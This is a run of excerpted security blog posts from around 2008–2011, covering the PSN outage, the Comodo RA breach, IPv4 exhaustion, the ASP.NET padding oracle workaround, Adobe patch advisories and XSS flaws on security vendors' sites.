But this brings to light an increasing problem: the erosion of standalone functionality. PSN customers have not been able to access online content since April 20th. This is, of course, to be expected – if you shut off the network, the network is not available. Unfortunately, this extends to content which isn’t actually hosted on Sony’s network, since PlayStations use the PSN to connect to outside servers. Still, though, not surprising.

Vexingly, however, a certain amount of offline content has also been rendered unavailable, specifically several Capcom games which apparently need internet connection even for single-player mode. This seems to be an increasing trend in the software industry, in games of course, but in other software as well. Even software which has no need to be online, such as a word processing suite, increasingly needs to authenticate with a server in order to install. In fact, you might have noticed that most builds of MS Windows have just such an authentication requirement. And this is continuing to the next level: the Google CR-48 laptop as almost no functionality without an internet connection. Woe betide the user who truly does not want to ever connect a machine to the Internet!

But why would someone want to keep their computer offline?

Well, security, for one. The “airwall” remains the strongest form of security available; no code can ever bridge the gap of a true lack of connection. This isn’t solely the province of super secret government facilities, after all: medical facilities, industrial applications, and numerous other facilities can achieve higher security by dint of simply not connecting machines to the Internet when it is not needed.

Some may not be able to achieve an Internet connection, either due to cost or lack of infrastructure. As amazing as it may seem in 2011, Internet access is not available everywhere, nor to everyone.

But the most important reason is highlighted by this PSN debacle: why should Internet access be necessary? The Internet is a powerful, pervasive tool – but it’s not the end-all of the computing experience, and even now there’s no reason that a computer should be rendered a paperweight by simple lack of connection.

 All of the above leads us to one conclusion only:- that this was likely to be a state-driven attack.

I am not as convinced – I think it might have been referenced more to try to deflect interest and speculation away from their own poor management. Also, I would think that a state attack would be more involved than a simple username and password.

Yes, Comodo notes in a separate blog post that the compromise was related to the theft of a username and password of a registration authority (RA) account. I was shocked to find out that their registration authority users are able to log in with a username and password, and not requiring a more secure method of login (for example, public key infrastructure (PKI) login with a smart card). I took a look at the Comodo Certification Practice Statement (CPS) and found that “Trusted roles” (section 3.10.1) should in fact require it. The CPS states (for Trusted personnel) “Identification is via a username, with authentication requiring a password and digital certificate.”

Of course my first issue is with the semantics of the statement.  Presenting a digital certificate is not authenticating anything because digital certificates are public information; one must prove the possession of the private key corresponding to the digital certificate to be authenticated.

My second issue is that it is not clear in the CPS whether an RA would actually be a “Trusted role” or not. In section 3.9.3 they indicate the following:

All personnel in trusted positions handle all information in strict confidence. Personnel of RA/LRAs especially must comply with the requirements of the English law on the protection of personal data.

To me, this reads that personnel of RA/LRAs are “personnel in trusted positions” and therefore should qualify for the “Trusted role” in their CPS, which would have required certificate-based login. Unfortunately, I cannot find any more definitive statements in the CPS that would put the RA into or out of the “Trusted role” as defined.

Ultimately, I hope this compromise will help Comodo improve their practices and update their policies. Most organizations that run a PKI (whether internal or external) know that RAs should always be considered a trusted role in a PKI. The RA’s role is to direct the actions of the CA, the entity that issues the certificates and certificate status information. These certificates, in turn, allow us to trust transactions between parties (such as SSL sessions). If the RA is not trusted, then nothing in the PKI should be.

Odds are it won’t. Not in the short term, at any rate. Imagine if the post office announced that they’d run out of street addresses. All of the existing houses would be fine, and still be able to receive mail. New houses wouldn’t get addresses, though, and would be unable to send or receive mail. Running out of IPv4 addresses is like that.

Of course, it’s somewhat more complicated. Whereas you can still build a house without a postal address, still live there, still have people come over – well, imagine if you need an address to access the road. Without an IP address, a computer is cut off from the internet. It can neither send nor receive data; it’s just a standalone device.

But there remain options. Plenty of them, in fact.

For one thing, the sale of the last IPv4 addresses doesn’t mean that there are no addresses to be had. There are still significant swathes of unused IP addresses, mostly in the hands of universities which got some of the original /8 (Class A) network blocks but have no need for the staggering 16 million addresses available to them. Thanks to Classless InterDomain Routing, these blocks can be broken into smaller segments. Now is probably a very good time for such organizations to auction off segments of these address blocks – they’ll fetch a very high price now, but their value will drop rapidly. But for right now, there do remain IP addresses to be had, if the price is right.

Another way to squeeze out even more life from IPv4 is to use Network Address Translation (NAT). NAT allows a computer to be assigned a “local” IP address, and multiple computers with local addresses use a single computer with a public address to talk to the wider world. If IP addresses are like postal addresses, then NAT lets you put people in apartment buildings instead of houses. This means that fewer computers need a public IP address, and as with CIDR, this may open up more addresses.

Both of these methods should be familiar: they’ve been in use for the last decade, keeping IPv4 viable. Which, for good or ill, means even these options are mostly exhausted. The simple fact is, we’re running out of addresses, and we can only avoid that fact for so long.

This means we need to migrate to IPv6. I have some misgivings about IPv6, to be sure, but we definitely need to take that plunge. There simply aren’t any other long-term options on the table; CIDR and NAT are just rearguard actions.

So what’s going to happen?

As should be obvious to anyone who knows corporate America, a large number of companies are going to put off the conversion for as long as possible. This won’t last long, but there’s going to be a big opportunity for people who know IPv6 then. But no few companies will see, or have already seen, the writing on the wall and are making the conversion. This means that some ISPs will be using both IPv6 and IPv4. Others will still be on IPv4 only, and new hosts will use IPv6 only. Problem is, IPv6 addresses aren’t backwards-compatible with IPv4 addresses: there’s no guarantee that hosts on IPv4 will be able to talk to hosts on IPv6, nor vice-versa. There are, of course, workarounds for this. In some cases they will be implemented well, and the transition will be seamless. In other cases, not so much. This means that in the coming year we can expect to see network fragmentation. Unfortunately, there’s relatively little that most organizations other than network and internet service providers can do about that; either it’s being implemented properly, or it isn’t.

What can a typical organization do?

First of all, find out about your ISP’s IPv6 offering. The sooner you’re on IPv6 the better off you are, and the less money you’ll spend on IPv4 technology, acquiring new IPv4 addresses, and the inevitable last-minute IPv6 transition. Also, it seems likely that just as it was with IPv4 there will probably be some significant benefits to being an early adopter to IPv6.

Second, make sure your equipment talks in IPv6. Now is definitely the time to apply those firmware updates and set up the IPv6 stacks your network engineers have had on the back burner. Even if your equipment is supposed to have IPv6 support, get updates anyway – beyond the obvious value in frequent updating, it’s likely that older IPv6 implementations will be rather buggy, and some issues may not become apparent until IPv6 becomes more prevalent – so keep your ear to the ground for that, and especially keep up with your vendor notices.

But! You absolutely must do one last thing: check your IPv6 security. Several companies have already been burned, finding out that while their IPv4 traffic is carefully routed, monitored, and scanned, their IPv6 traffic had no controls. Check your policies, check your gateways, check your routers, and check your firewalls. Make sure that when you do start using IPv6 you use it securely.

Unless you work for a network or internet service provider, there’s only so much you can do about the IPcalypse. But you can be ready for the IPv6 transition, and you really should be. We’ve seen this day coming for years now.

Hackers can exploit the vulnerability by force-feeding cipher text to an ASP.Net application and noting the error messages it returns. By repeating the process numerous times and analyzing the errors, criminals can learn enough to correctly guess the encryption key and thus decrypt the entire cipher text.

It will take some time for Microsoft to patch this problem across all platforms.  It is possible to update your application to be immune to this attack, and I recommend patching your application as soon as possible.  From Scott Guthrie of Microsoft:

A workaround you can use to prevent this vulnerability is to enable the <customErrors> feature of ASP.NET, and explicitly configure your applications to always return the same error page – regardless of the error encountered on the server…

Important: It is not enough to simply turn on CustomErrors or have it set to RemoteOnly. You also need to make sure that all errors are configured to return the same error page.  This requires you to explicitly set the “defaultRedirect” attribute on the <customErrors> section and ensure that no per-status codes are set.

This link has detailed instructions on how to protect against this attack in each platform. Happy patching.

The idea is fairly simple. Many (most?) large enterprises already manage their users and systems using Active Directory.  Geneva allows publishing the components of your Active Directory required for doing identity federation on the Internet.  The publishing is performed in a standards-compliant way (using WS-* and SAML 2.0) and allows it to be used for claims between enterprises.

…the issue of Identity Management, Username and Password proliferation, and cross-company collaboration is an issue that has hindered true (and secure) data availability and collaboration in the Life Sciences industry.  Perhaps now we can get the Identity Management issue behind us and move on.

Whether or not Geneva becomes the one standard way to allow interoperable identity management across multiple enterprises in the life sciences space, it is clearly going to lower barriers between organizations and increase our trustworthiness in digital identities.

If you have (and use) an electronic signature credential, and are interested in helping Adobe craft the next generation of Adobe Acrobat, Reader, and LiveCycle products and signature features, we are offering you the ability to participate in an Electronic Signature Survey.

Might be worth filling out, if you want to have a chance to influence the next round of Adobe products, such as Acrobat.

Critical vulnerabilities have been identified in Adobe Reader and Acrobat 8.1.2 and earlier versions. These vulnerabilities would cause the application to crash and could potentially allow an attacker to take control of the affected system.

Acrobat and Reader version 9 is not vulnerable to these particular flaws.  A few interesting things to note here. No patch for Acrobat/Reader 7 and earlier has been released. Additionally, the update is available only by moving to a new version of Acrobat/Reader, either version 8.1.3 or 9. This may cause significant pain and stress among organizations that have standardized on Acrobat or Reader, especially in FDA validated systems.  This is because Adobe has not made it possible to just apply a security update patch to the affected software.  Instead, organizations must deploy a new version, which may contain additional changes including a changed user interface, changed behavior, and changed compatibility.  Therefore, I expect some organizations may choose to live with the risk rather than move into a new version, and have to re-document and re-validate processes according to an updated version of Acrobat or Reader.

Potential vulnerabilities have been identified in Adobe Flash Player 9.0.124.0 and earlier that could allow an attacker who successfully exploits these potential vulnerabilities to bypass Flash Player security controls. Adobe recommends users update to the most current version of Flash Player available for their platform. Due to the possibility that these security enhancements and changes may impact existing content, customers are advised to review this Adobe Developer Center article to determine if their content will be impacted, and to begin implementing necessary changes immediately to help ensure a seamless transition.

The bulletin is here, and the updated player is here.  Happy patching!

With all the talk about hackers launching attacks from legitimate Websites, you’d think that the major security vendors’ sites, at least, would be vulnerability-free.

Not so, according to a report issued yesterday by a security watchdog site.
The site, XSSed, states that it has verified some 30 cross-site scripting vulnerabilities spread across the Websites of three of the industry’s best-known security vendors: McAfee, Symantec, and VeriSign. The vulnerabilities could make it possible for attackers to launch phishing campaigns from these sites or even distribute malware to the companies’ customers, according to XSSed.

Cross-site scripting vulnerabilities aren’t a new type of threat, and they aren’t particularly difficult to defend against. It seems a little crazy that the companies that many people depend on to help them get a handle on security don’t practice the things that they preach. Or then again, maybe they don’t even preach them:

This isn’t the first time that XSS vulnerabilities have been exposed on sites such as McAfee’s and Symantec’s, notes Jeremiah Grossman, CTO of WhiteHat Security. Back in January, XSSed reported that some 60 sites that had received the “hacker safe” label from McAfee’s ScanAlert service were vulnerable to XSS attacks. (Emphasis added)

I disagree with Grossman’s conclusion, however, that the XSS vulnerabilities on these security companies’ web sites aren’t something to worry about. His argument is that, while these are security companies, they primarily focus on anti-virus and anti-malware software. However, when these companies start handing out “Hacker Safe!” badges to other web sites (which, in my opinion, is like throwing rocks at a beehive), they put themselves in an arena in which things like simple XSS vulnerabilities cannot be overlooked. I believe that the “more important” sites that are mentioned, such as bank and e-commerce web sites, are really unlikely to have their security problems taken care of before the people that are supposed to “know security” do.

“We are pleased to be given this opportunity to be directly supporting SAFE’s mission of delivering unique electronic identity credentials for legally enforceable and regulatory compliant digital signatures across the global biopharmaceutical environment,” said Peter Hesse, President and Founder, Gemini Security Solutions. “We have focused significant energy toward helping corporations realize the benefits of digital signatures and identity management standards to safeguard critical information. We are excited to be recognized both as a SAFE partner and a trusted technical expert.”

We are glad to officially be a part of the SAFE community. While we have been involved in SAFE since its inception, we are now playing a greater part in the development and adoption of secure standards for the biopharmaceutical industry.